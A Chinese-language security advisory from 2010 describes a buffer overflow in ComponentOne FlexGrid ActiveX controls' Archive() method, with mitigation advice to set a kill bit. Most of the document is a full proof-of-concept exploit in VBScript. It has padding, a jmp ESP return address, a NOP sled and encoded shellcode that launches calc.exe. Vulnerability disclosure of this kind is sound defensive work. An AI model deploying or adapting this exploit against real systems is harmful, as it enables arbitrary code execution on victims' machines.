安全研究

安全漏洞
ComponentOne VSFlexGrid Archive()方式缓冲区溢出漏洞

发布日期:2010-05-25
更新日期:2010-05-26

受影响系统:
ComponentOne FlexGrid 8
ComponentOne FlexGrid 7
描述:
ComponentOne FlexGrid是用于创建各种用户界面的表格控件工具。

ComponentOne FlexGrid所提供的vsflex7L.ocx、vsflex8.ocx、vsflex8d.ocx、vsflex8l.ocx、vsflex8n.ocx ActiveX控件没有正确地过滤提交给Archive()函数的输入参数,用户受骗访问了恶意网页并向该方式传送了超长字符串参数就可以触发缓冲区溢出,导致执行任意代码。

<*来源:Ma3sTr0-Dz
  
  链接:http://www.exploit-db.com/exploits/12673
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<package>  

<job id='vsflex8l' debug='false' error='true'>  

  <object classid='clsid:C945E31A-102E-4A0D-8854-D599D7AED5FA' id='vsFlexGrid'/>  

   <script language='vbscript'>  

    buff      = String(268, "A")  

  

    get_EIP   = unescape("%81%69%A8%7C") 'jmp ESP from shell32.dll  

  

    nop       = String(12, unescape("%90"))  

  

    'execute calc.exe  

  

    shellcode = shellcode + unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49")  

    shellcode = shellcode + unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")  

    shellcode = shellcode + unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34")  

    shellcode = shellcode + unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")  

    shellcode = shellcode + unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54")  

    shellcode = shellcode + unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37")  

    shellcode = shellcode + unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48")  

    shellcode = shellcode + unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38")  

    shellcode = shellcode + unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c")  

    shellcode = shellcode + unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e")  

    shellcode = shellcode + unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48")  

    shellcode = shellcode + unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54")  

    shellcode = shellcode + unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38")  

    shellcode = shellcode + unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43")  

    shellcode = shellcode + unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37")  

    shellcode = shellcode + unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a")  

    shellcode = shellcode + unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b")  

    shellcode = shellcode + unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33")  

    shellcode = shellcode + unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57")  

    shellcode = shellcode + unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49")  

    shellcode = shellcode + unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36")  

    shellcode = shellcode + unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")  

  

    egg       = buff + get_EIP + nop + shellcode + nop  

  

    vsFlexGrid.Archive egg, "something", 1  

   </script>  

  </job>  

</package>

建议:
临时解决方法:

* 为clsid C945E31A-102E-4A0D-8854-D599D7AED5FA设置kill bit。

厂商补丁:

ComponentOne
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.componentone.com/

浏览次数:3850
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障